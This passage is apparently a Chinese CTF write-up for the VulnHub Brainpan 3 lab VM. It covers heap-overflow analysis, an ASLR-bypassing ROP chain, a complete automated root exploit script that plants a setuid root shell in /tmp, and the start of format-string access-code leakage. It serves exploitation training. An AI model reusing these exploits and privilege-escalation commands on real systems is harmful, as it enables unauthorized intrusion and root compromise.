$ whoami
puck
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub208.jpg)

#### 步骤6

现在，很吃力，需要完成认为是获得root shell的最后一步的工作。回到cronjob，需要分析msg_admin二进制文件。与加密二进制文件类似的方式将其从VM中提取。快速checksec

``` bash
root@kali:~/vulnhub/brainpan3/2# checksec msg_admin
[*] '/root/vulnhub/brainpan3/2/msg_admin'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

Canaries，NX上。ASLR开启了吗？

``` bash
$ cat /proc/sys/kernel/randomize_va_space
2
```

该抽出所有的止损了。从cronjob中，意识到二进制文件需要一个文件。静态分析二进制文件，看到文件需要包含名称行和由|分隔的消息。创建一个小的payload生成脚本来对此进行测试。

make-pwnmsg.py
``` bash
from pwn import *

with open('pwn.msg', 'w') as f:
    f.write('{}|{}\n'.format('a'*4, 'A'*10))
    f.write('{}|{}\n'.format('b'*4, 'B'*10))
    f.write('{}|{}\n'.format('b'*4, 'C'*10))
```

运行脚本之后，生成以下的文件

``` bash
root@kali:~/vulnhub/brainpan3/2# ls
bofh  bp3.py  brainpan.8  cryptor  make-pwnmsg.py  msg_admin  pwn.msg  report  shell  test.py  trixd
root@kali:~/vulnhub/brainpan3/2# cat pwn.msg 
aaaa|AAAAAAAAAA
bbbb|BBBBBBBBBB
bbbb|CCCCCCCCCC
```

在gdb中执行payload。

``` bash
pwndbg> r 1 pwn.msg
Starting program: /root/vulnhub/brainpan3/2/msg_admin 1 pwn.msg
[+] Recording 3 entries
[+] Message from aaaa@kali

Program received signal SIGSEGV, Segmentation fault.
0xf7e48f36 in fputs () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 EAX  0xa
 EBX  0x804c300 ◂— 'bbbb'
 ECX  0x0
 EDX  0xffffbebe ◂— 0x0
 EDI  0xa
 ESI  0x0
 EBP  0xffffce68 —▸ 0xffffcef8 —▸ 0xffffd0b8 —▸ 0xffffd2e8 ◂— 0x0
 ESP  0xffffce40 —▸ 0x804c300 ◂— 'bbbb'
 EIP  0xf7e48f36 (fputs+38) ◂— mov    eax, dword ptr [esi]
─────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────
 ► 0xf7e48f36 <fputs+38>     mov    eax, dword ptr [esi]
   0xf7e48f38 <fputs+40>     and    eax, 0x8000
   0xf7e48f3d <fputs+45>     jne    fputs+100 <0xf7e48f74>
    ↓
   0xf7e48f74 <fputs+100>    movsx  edx, byte ptr [esi + 0x46]
   0xf7e48f78 <fputs+104>    test   dl, dl
   0xf7e48f7a <fputs+106>    jne    fputs+143 <0xf7e48f9f>
    ↓
   0xf7e48f9f <fputs+143>    mov    ecx, dword ptr [ebp - 0x1c]
   0xf7e48fa2 <fputs+146>    mov    ebx, dword ptr [esi + edx + 0x94]
   0xf7e48fa9 <fputs+153>    lea    eax, [ecx + 0xf80]
   0xf7e48faf <fputs+159>    lea    edx, [ecx + 0x1754]
   0xf7e48fb5 <fputs+165>    mov    ecx, ebx
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ esp  0xffffce40 —▸ 0x804c300 ◂— 'bbbb'
... ↓
02:0008│      0xffffce48 —▸ 0xffffd250 —▸ 0xf7ffdab0 —▸ 0xf7fce3e0 —▸ 0xf7ffd950 ◂— ...
03:000c│      0xffffce4c —▸ 0xf7fb5000 ◂— 0x1d6d6c
04:0010│      0xffffce50 —▸ 0xffffcef8 —▸ 0xffffd0b8 —▸ 0xffffd2e8 ◂— 0x0
05:0014│      0xffffce54 —▸ 0xf7fe9450 ◂— pop    edx
06:0018│      0xffffce58 ◂— 0x0
07:001c│      0xffffce5c —▸ 0x804c300 ◂— 'bbbb'
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► f 0 f7e48f36 fputs+38
   f 1  804892c record_data+271
   f 2  8048a89 notify_admin+193
   f 3  8048d4d main+664
   f 4 f7dfc811 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x0)
```

在静态分析中注意到了一些malloc。看看堆的布局。

``` bash
pwndbg> 
+0f30 0x804d908  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
...
+0f70 0x804d948  00 00 00 00  11 00 00 00  01 00 00 00  60 d9 04 08  │....│....│....│`...│
+0f80 0x804d958  70 d9 04 08  11 00 00 00  61 61 61 61  00 00 00 00  │p...│....│aaaa│....│
+0f90 0x804d968  00 00 00 00  d1 00 00 00  41 41 41 41  41 41 41 41  │....│....│AAAA│AAAA│
+0fa0 0x804d978  41 41 00 00  00 00 00 00                            │AA..│....│    │    │
pwndbg> 
+0f90 0x804d980  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
...
+1000 0x804d9f0  00 00 00 00  00 00 00 00                            │....│....│    │    │
pwndbg> 
+0fc0 0x804d9f8  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
...
+1000 0x804da38  00 00 00 00  11 00 00 00  01 00 00 00  50 da 04 08  │....│....│....│P...│
+1010 0x804da48  60 da 04 08  11 00 00 00  62 62 62 62  00 00 00 00  │`...│....│bbbb│....│
+1020 0x804da58  00 00 00 00  d1 00 00 00  42 42 42 42  42 42 42 42  │....│....│BBBB│BBBB│
+1030 0x804da68  42 42 00 00  00 00 00 00                            │BB..│....│    │    │
```

似乎的每条消息都在堆中背对背。看起来在消息之后还存在两个指针（请参见地址0x804d958和0x804da48）。消息和最后一个指针之间有多少可用空间。

``` bash
>>> 0x804da48 - 0x804d970
216
```

怀疑可以用A溢出两个指针，抛出数据以查看是否可以控制这些指针。

make-pwnmsg.py
``` bash
from pwn import *

with open('pwn.msg', 'w') as f:
    f.write('{}|{}\n'.format('a'*4, cyclic(216)))
    f.write('{}|{}\n'.format('b'*4, 'B'*10))
    f.write('{}|{}\n'.format('b'*4, 'C'*10))
```

在gdb中再次执行相同的payload。

``` bash
pwndbg> r 1 pwn.msg 
Starting program: /root/vulnhub/brainpan3/2/msg_admin 1 pwn.msg
[+] Recording 3 entries

Program received signal SIGSEGV, Segmentation fault.
0xf7e70bb2 in ?? () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 EAX  0x62626262 ('bbbb')
 EBX  0x804c300 ◂— 'bbbb'
 ECX  0x804c300 ◂— 'bbbb'
 EDX  0x63616164 ('daac')
 EDI  0xf7fb5000 ◂— 0x1d6d6c
 ESI  0xffffd250 —▸ 0xf7ffdab0 —▸ 0xf7fce3e0 —▸ 0xf7ffd950 ◂— 0x0
 EBP  0xffffd2e8 ◂— 0x0
 ESP  0xffffd0bc —▸ 0x8048cd0 (main+539) ◂— mov    eax, dword ptr [ebp - 0x4c]
 EIP  0xf7e70bb2 ◂— mov    dword ptr [edx], eax
─────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────
 ► 0xf7e70bb2    mov    dword ptr [edx], eax
   0xf7e70bb4    mov    al, byte ptr [ecx + 4]
   0xf7e70bb7    mov    byte ptr [edx + 4], al
   0xf7e70bba    mov    eax, edx
   0xf7e70bbc    ret    
 
   0xf7e70bbd    lea    esi, [esi]
   0xf7e70bc0    mov    eax, dword ptr [ecx]
   0xf7e70bc2    mov    dword ptr [edx], eax
   0xf7e70bc4    mov    ax, word ptr [ecx + 4]
   0xf7e70bc8    mov    word ptr [edx + 4], ax
   0xf7e70bcc    mov    eax, edx
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ esp  0xffffd0bc —▸ 0x8048cd0 (main+539) ◂— mov    eax, dword ptr [ebp - 0x4c]
01:0004│      0xffffd0c0 ◂— 'daac'
02:0008│      0xffffd0c4 —▸ 0x804c300 ◂— 'bbbb'
03:000c│      0xffffd0c8 —▸ 0x804c1a0 ◂— 0xfbad2488
04:0010│      0xffffd0cc ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
05:0014│      0xffffd0d0 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
06:0018│      0xffffd0d4 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
07:001c│      0xffffd0d8 ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► f 0 f7e70bb2
   f 1  8048cd0 main+539
   f 2 f7dfc811 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x63616164)
```

一定喜欢看到SIGSEGV，是吗？崩溃指令是mov [edx]，eax。看来正在用bbbb（eax-第二条消息）覆盖地址daac（edx-来自循环函数）中的数据。这实际上是“在哪里写”条件，在这里可以在任何地方写入4个字节的内容。查看0x8048cd0（在第1帧处的回溯），看到处于strcpy状态。在此处设置断点并重新启动：

``` bash
pwn> bp 0x8048ccb

[---------------------------------------CODE----------------------------------------]
=> 0x8048ccb <main+534>    call   0x8048630 <strcpy@plt>
    dest:      0x63616164 ('daac')
    src:       0x804c170 <-- 'bbbb'
```

在崩溃点，堆栈处于以下状态：

``` bash
[---------------------------------------STACK---------------------------------------]
00:0000| esp  0xffffc83c --> 0x8048cd0 (main+539) <-- mov    eax, dword ptr [ebp - 0x4c]
01:0004|      0xffffc840 <-- 0x63616164
02:0008|      0xffffc844 --> 0x804c170 <-- 'bbbb'
03:000c|      0xffffc848 --> 0x804c008 <-- 0xfbad2488
04:0010|      0xffffc84c <-- 'aaaabaaacaaadaa...'
05:0014|      0xffffc850 <-- 'baaacaaadaaaeaa...'
06:0018|      0xffffc854 <-- 'caaadaaaeaaafaa...'
07:001c|      0xffffc858 <-- 'daaaeaaafaaagaa...'
```

在堆栈地址看到了受控缓冲区0xffffc84c,为了将ESP移至缓冲区，需要执行堆栈枢纽操作，以便启动ROP序列。
将bbbb设置为从binjitsu（rop.search（move = 20）.address）移动20的堆栈地址，并将daac的偏移量设置为strtok GOT条目。

``` bash
from pwn import *

elf = ELF('msg_admin')
rop = ROP(elf)

pivot = rop.search(move=20).address
strtok = elf.got['strtok']

log.info("Pivot: {}".format(hex(pivot)))
log.info("Strtok: {}".format(hex(strtok)))

with open('pwn.msg', 'w') as f:
    sc = 'A' * cyclic_find('daac') + p32(strtok)
    sc += 'B' * (216 - len(sc))
    f.write('{}|{}\n'.format('a'*4, sc))
    f.write('{}|{}\n'.format(p32(pivot), 'B'*12))
```

太棒了，所以现在有了堆栈控制和EIP控制。;-)使用ROPGadget查看相关的ROP小工具。请注意，一定要增加--depth，以便可以看到更多小工具。在这种情况下，这一点很重要。没有它，将无法找到清晰的eax小工具。

``` bash
$ ROPgadget --depth 30 --binary msg_admin
```

列表中的两个小工具非常有趣。下面的小工具将允许使用取消引用的指针来增加eax。

``` bash
0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret
```

下一个小工具将提供清除eax的方法。请注意，从默认的ROPgadget设置--depth 10中看不到此小工具。

``` bash
0x08048790 : mov eax, 0x804b074 ; sub eax, 0x804b074 ; sar eax, 2 ; mov edx, eax ; shr edx, 0x1f ; add eax, edx ; sar eax, 1 ; jne 0x80487c1 ; ret
```

攻击计划如下（剧透警报，几乎与每个CTF ASLR旁路相同）：

 - 引用GOT中的条目。
 - 计算给定条目和系统之间的差异。
 - 将此差异添加到取消引用的值中。
 - 调用system（'/tmp/foo'），其中/tmp/foo包含我们的命令。

因为要减少添加偏移量指令的数量，所以尝试在msg_admin中找到哪个GOT条目最接近其libc中的系统。

find-good-addr.py
``` bash
from pwn import *

elf = ELF('msg_admin')
libc = ELF('libc.so.6')

for symbol in elf.symbols:
    try:
        if libc.symbols[symbol] < libc.symbols['system']:
            print symbol, hex(libc.symbols['system'] - libc.symbols[symbol])
    except:
        pass
```

``` bash
$ python find-good-addr.py 
__libc_start_main 0x26800
atol 0xe900
```

为了使事情更简单，将仅在GOT条目中添加正值。使用atol条目，因为它与系统的差异最小。接下来，需要在二进制文件中找到偏移量，该偏移量累积时等于0xe900。下面是一个可能的列表：

``` bash
0x8048595 = 0xc6e8
0x8048dff = 0x2203
0x8048833 = 0x14
0x8048fb9 = 0x1
```

现在有了系统偏移量，只需要一个小工具即可执行它。

``` bash
0x8048786 : call eax;
```

注意到在用法语句中找到了字符串/tmp/foo。利用它并将其用作执行命令。需要一个或两个命令，当以root身份执行时，将给一个shell。一种方法如下：

``` bash
cp /bin/sh /tmp/pwned;
chown root /tmp/pwned;
chmod 4777 /tmp/pwned;
```

需要将setuid位（4777）设置为puck，以便在root特权下执行二进制文件。一切准备就绪，检查一下最终的ROP链。

``` bash
def add_offset(addr):
    """Function used to easily add offsets to eax to global rop chain"""
    add_to_sum = 0x08048feb
    rop.raw(pop_ebx)
    rop.raw(addr - 0x1270304)
    rop.raw(add_to_sum)

rop = ROP(elf)
tmpfoo = elf.search('/tmp/foo').next()
atol = elf.got['atol']

pop_ebx = 0x804859d
call_eax = 0x8048786

hex_c6e8 = 0x8048595
hex_2203 = 0x8048dff
hex_14 = 0x8048833
hex_1 = 0x8048fb9

rop.raw(0x8048790)

add_offset(atol)
add_offset(hex_c6e8)
add_offset(hex_2203)
add_offset(hex_14)
add_offset(hex_1)

rop.raw(call_eax)    
rop.raw(tmpfoo)
```

根据先前的挑战，需要通过binjitsu执行这些挑战。

``` bash
r.sendline('echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo')
r.sendline('chmod +x /tmp/foo')

sc = str(rop)
sc += cyclic(cyclic_find('daac')-len(sc))
sc += p32(strtok)
sc += 'C' * (216 - len(sc))

data = ''
data += '{}|{}\n'.format('s'*4, sc) 
data += '{}|{}\n'.format(p32(pivot), str(rop))

pwnmsg_file = ''
for b in data:
    pwnmsg_file += '\\x{}'.format(b.encode('hex'))

r.sendline('''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''.format(pwnmsg_file))
```

下面是完善后的一键获取root权限并且拿到flag的python脚本，运行一下看看效果。。。

bp3.py

``` bash
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
for command in ['uname -a', 'whoami', 'id']:
    r.clean()
    r.sendline('1')
    r.sendline('$({} >&2)'.format(command))

    r.recvuntil("SENDING TO REPORT MODULE")
    output = r.recvuntil('[+]').split('\n')[2]
    log.success("{} - {}".format(command, output))
r.clean()
r.sendline('1')
r.sendline('$(/bin/bash -i >&2)')
offset = cyclic_find('baaa')
shellcode = 'A' * cyclic_find('baaa') + p32(0x804a080)
buffer = 116 - len(shellcode)
binsh_shellcode = asm(shellcraft.sh())
argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer)
argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2))
actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2)
log.info(actual_shellcode)
r.sendline('cd /home/reynard/private')
while True:
    r.clean()
    r.sendline(actual_shellcode)
    r.clean()
    r.sendline('id')
    output = r.recv()
    if 'reynard' in output:
        break
log.info("Shell recevied: reynard")
r.sendline(""" echo "
import os
import socket
import telnetlib
import subprocess

HOST = 'localhost'
PORT = 7075

try:
    os.remove('/mnt/usb/key.txt')
except:
    pass

subprocess.check_output(['touch', '/mnt/usb/key.txt'])

r = socket.socket()
r.connect((HOST, PORT))

os.remove('/mnt/usb/key.txt')
os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')

t = telnetlib.Telnet()
t.sock = r
t.interact()

r.close()
" > win.py
""")
r.sendline("python win.py")
r.clean()
r.sendline("whoami")
output = r.recv()
log.success("Shell received: {}".format(output))
sleep(1)
log.success("Insert ROP pun here...")
elf = ELF('msg_admin')
rop = ROP(elf)
pivot = rop.search(move=20).address
strtok = elf.got['strtok']
rop = ROP(elf)
def add_offset(addr):
    """Function used to easily add offsets to eax to global rop chain"""
    add_to_sum = 0x08048feb
    rop.raw(pop_ebx)
    rop.raw(addr - 0x1270304)
    rop.raw(add_to_sum)
rop = ROP(elf)
tmpfoo = elf.search('/tmp/foo').next()
atol = elf.got['atol']
pop_ebx = 0x804859d
call_eax = 0x8048786
hex_c6e8 = 0x8048595
hex_2203 = 0x8048dff
hex_14 = 0x8048833
hex_1 = 0x8048fb9
rop.raw(0x8048790)
add_offset(atol)
add_offset(hex_c6e8)
add_offset(hex_2203)
add_offset(hex_14)
add_offset(hex_1)
rop.raw(call_eax)    
rop.raw(tmpfoo)
r.sendline('echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo')
r.sendline('chmod +x /tmp/foo')
log.info('Create our root command file at /tmp/foo')
log.info('echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo')
log.info('chmod +x /tmp/foo')
sc = str(rop)
sc += cyclic(cyclic_find('daac')-len(sc))
sc += p32(strtok)
sc += 'C' * (216 - len(sc))
data = ''
data += '{}|{}\n'.format('s'*4, sc) 
data += '{}|{}\n'.format(p32(pivot), str(rop))
pwnmsg_file = ''
for b in data:
    pwnmsg_file += '\\x{}'.format(b.encode('hex'))
r.sendline('''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''.format(pwnmsg_file))
log.info('Create our malicious msg file')
log.info('''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''.format(pwnmsg_file))
r.sendline('rm /tmp/pwned')
r.clean()
log.info("Wait for your r00t shellz")
for _ in xrange(75):
    r.sendline('ls -la /opt/.messenger')
    sleep(1)
    output = r.recv()
    if 'pwn.msg' not in output:
        break
r.sendline('/tmp/pwned')
r.sendline('id')
r.sendline('whoami')
r.sendline('cd /root')
r.sendline('gzip -d brainpan.8.gz')
r.sendline('cat brainpan.8')
for _ in xrange(10):
    r.sendline('')
log.info("Bingo!")
log.info(r.recv())
r.interactive()
```

直接获得root权限和flag，灰常的牛批。。。

``` bash
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 8455
[*] Report 'N' at offset 65
[+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux
[+] whoami - anansi
[+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[*] ./cryptor $(python -c 'print "A" * 4 + "\x80\xa0\x04\x08" + "C" * 108') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"')
[*] Shell recevied: reynard
[+] Shell received: Authentication successful
[+] Insert ROP pun here...
[*] '/root/vulnhub/brainpan3/2/msg_admin'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Loaded 10 cached gadgets for 'msg_admin'
[*] Create our root command file at /tmp/foo
[*] echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo
[*] chmod +x /tmp/foo
[*] Create our malicious msg file
[*] python -c "print '\x73\x73\x73\x73\x7c\x90\x87\x04\x08\x9d\x85\x04\x08\x48\xad\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\x91\x82\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\xfb\x8a\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\x2f\x85\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\xb5\x8c\xdd\x06\xeb\x8f\x04\x08\x86\x87\x04\x08\xef\x8e\x04\x08\x61\x61\x61\x61\x62\x61\x61\x61\x63\x61\x61\x61\x64\x61\x61\x61\x65\x61\x61\x61\x66\x61\x61\x61\x67\x61\x61\x61\x68\x61\x61\x61\x69\x61\x61\x61\x6a\x61\x61\x61\x6b\x61\x61\x61\x6c\x61\x61\x61\x6d\x61\x61\x61\x6e\x61\x61\x61\x6f\x61\x61\x61\x70\x61\x61\x61\x71\x61\x61\x61\x72\x61\x61\x61\x73\x61\x61\x61\x74\x61\x61\x61\x75\x61\x61\x61\x76\x61\x61\x61\x77\x61\x61\x61\x78\x61\x61\x61\x79\x61\x61\x61\x7a\x61\x61\x62\x62\x61\x61\x62\x63\x61\x61\x62\x64\x61\x61\x62\x65\x61\x61\x62\x66\x61\x61\x62\x67\x61\x61\x62\x68\x61\x61\x62\x69\x61\x61\x62\x6a\x61\x61\x62\x5c\xb0\x04\x08\x0a\xdc\x8d\x04\x08\x7c\x90\x87\x04\x08\x9d\x85\x04\x08\x48\xad\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\x91\x82\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\xfb\x8a\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\x2f\x85\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\xb5\x8c\xdd\x06\xeb\x8f\x04\x08\x86\x87\x04\x08\xef\x8e\x04\x08\x0a'" >> /opt/.messenger/pwn.msg
[*] Wait for your r00t shellz
[*] Bingo!
[*] uid=1001(puck) gid=1004(dev) euid=0(root) groups=0
[*] Switching to interactive mode
(root)
$ 
root
gzip: brainpan.8.gz: No such file or directory
.TH man 8 "20 May 2015" "3.0" "brainpan 3"

.SH DESCRIPTION
Congratulations, you win! Thanks for playing!

.SH FLAG
.B
flag{tricksy-hobbitses-use-unix}

.SH BUGS
You found them all. 

.SH AUTHOR
superkojiman - 
.B
http://blog.techorganic.com

.SH TESTERS
Special thanks go to barrebas and Swappage taking the time to test Brainpan 3!
.br
barrebas - 
.B
https://twitter.com/barrebas
.br
Swappage - 
.B
https://twitter.com/Swappage
$ id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)
$ whoami
root
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub209.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub210.jpg)

#### 方法二

虚拟机完全启动后，使用nmap进行端口扫描。这显示了1个开放端口1337和一个封闭（防火墙）端口8080，一旦连接到端口1337，将看到Brainpan Console的登录屏幕。

``` bash
root@kali:~# nc 192.168.56.117 1337


  __ )    _ \      \    _ _|   \  |   _ \    \      \  |     _ _| _ _| _ _|
  __ \   |   |    _ \     |     \ |  |   |  _ \      \ |       |    |    | 
  |   |  __ <    ___ \    |   |\  |  ___/  ___ \   |\  |       |    |    | 
 ____/  _| \_\ _/    _\ ___| _| \_| _|   _/    _\ _| \_|     ___| ___| ___|

                                                            by superkojiman




AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE:
```

根据屏幕上的文字，必须处理一个4位数的代码，并且在3次失败的尝试之后，都会创建一个新的代码，因此很难对其进行暴力破解。想到的第一件事是它可能是格式字符串漏洞，并且经过快速测试表明确实如此。

``` bash
ACCESS CODE: %p%p%p
ERROR #1: INVALID ACCESS CODE: 0xbff1279c(nil)0x751

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 1

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
```

当使用格式字符串模式作为小数时，可以在位置3的输出中发现登录代码1873

``` bash
ACCESS CODE: %d-%d-%d-%d-%d-%d-%d
ERROR #1: INVALID ACCESS CODE: -1074714724-0-1873--1074714724-0-10--367016960

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 2

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
```

可以将格式字符串模式缩短为％3$d，以直接获取当前的登录代码

``` bash
ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 1873

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 3

BRUTE-FORCE ATTEMPT DETECTED
PLEASE USE THE NEW CODE DISPLAYED ON YOUR ACCESS TOKEN

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
```

使用代码登录到Brainpan控制台，显示一个菜单，展示一些选项，并设置了权限，例如AUTH，REPORT和MENU

``` bash
--------------------------------------------------------------
SESSION: ID-4057
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND:
```

最有趣的选项是1,2和3.。4显然是一个巨魔。
控制台使用选项1告诉我们该构建已禁用报告功能
选项2告诉我们该存储库现已可用
选项3允许我们更改会话名称。
看来此选项具有格式字符串和缓冲区溢出漏洞。
存储库选项使我想起8080处于关闭状态的端口，快速重新扫描显示该端口现已打开，当我们浏览至该端口时，我们会看到一个简单的网页。
我启动了一个目录bruteforce，它显示了名为“repo”的文件夹，其中包含5个文件。

输入2，然后再扫描8080端口，显示已经开启

``` bash
ENTER COMMAND: 2
SELECTED: 2

CODE REPOSITORY IS NOW AVAILABLE
```

``` bash
C:\Users\HASEE>nmap -p 8080 -v -sV 192.168.56.117 -r
PORT     STATE SERVICE VERSION
8080/tcp open  caldav  Radicale calendar and contacts server (Python BaseHTTPServer)
MAC Address: 08:00:27:90:21:26 (Oracle VirtualBox virtual NIC)
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub201.jpg)

名为report的文件引起了我的注意，因为在Brainpan控制台中也有此report选项。我下载了文件并开始对其进行分析。

#### 分析report

提供所需的参数（报告数据和1或0）时，会得到一个很大的查理·布朗横幅，我不认识这个人，但我敢打赌，他是个好人。

``` bash
root@kali:~/vulnhub/brainpan3# ./report aa 0
               ____
           .-'&    '-.
          / __    __  \
         :-(__)--(__)--;
        (      (_       )
         :             ;
          \    __     /
           `-._____.-'
             /`"""`\
            /    ,  \
           /|/\/\/\ _\
          (_|/\/\/\\__)
            |_______|
           __)_ |_ (__
          (_____|_____)

       YOU'RE IN THE MATRIX
           CHARLIE BROWN
```

是时候对可执行文件使用ida进行逆向工程以查看发生了什么。

 - main

``` bash
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // ST14_4
  char dest; // [esp+18h] [ebp-68h]
  unsigned int v6; // [esp+7Ch] [ebp-4h]

  v6 = __readgsdword(0x14u);
  if ( argc > 2 )
  {
    cb();
    strcpy(&dest, argv[1]);
    v4 = atoi(argv[2]);
    P = (int)REPORT;
    N = (void *)(-sysconf(30) & (unsigned int)REPORT);
    mprotect(N, 0x1F4u, 7);
    if ( v4 )
    {
      sanitize(&dest);
      encrypt(&dest);
      record_data(&dest);
    }
    else
    {
      record_data(&dest);
      record_id(&dest);
    }
    printf("[+] RECORDED [%s]\n", &dest);
    result = 0;
  }
  else
  {
    printf("%s <report> [0|1]\n", *argv);
    result = 0;
  }
  return result;
}
```

 - sanitize

``` bash
int __cdecl sanitize(char *s)
{
  size_t i; // [esp+18h] [ebp-10h]
  int v3; // [esp+1Ch] [ebp-Ch]

  v3 = 0;
  for ( i = 0; i < strlen(s); ++i )
  {
    if ( !isalpha(s[i]) )
    {
      s[i] = 63;
      ++v3;
    }
  }
  return v3;
}
```

 - encrypt

``` bash
size_t __cdecl encrypt(char *s)
{
  unsigned int v1; // eax
  size_t result; // eax
  unsigned int i; // [esp+18h] [ebp-10h]
  int v4; // [esp+1Ch] [ebp-Ch]

  v1 = time(0);
  srand(v1);
  v4 = rand() % 9000 + 1000;
  for ( i = 0; ; ++i )
  {
    result = strlen(s);
    if ( i >= result )
      break;
    s[i] ^= v4;
  }
  return result;
}
```

 - record_data

``` bash
int __cdecl record_data(const char *a1)
{
  char *v1; // eax
  time_t timer; // [esp+2Ch] [ebp-5Ch]
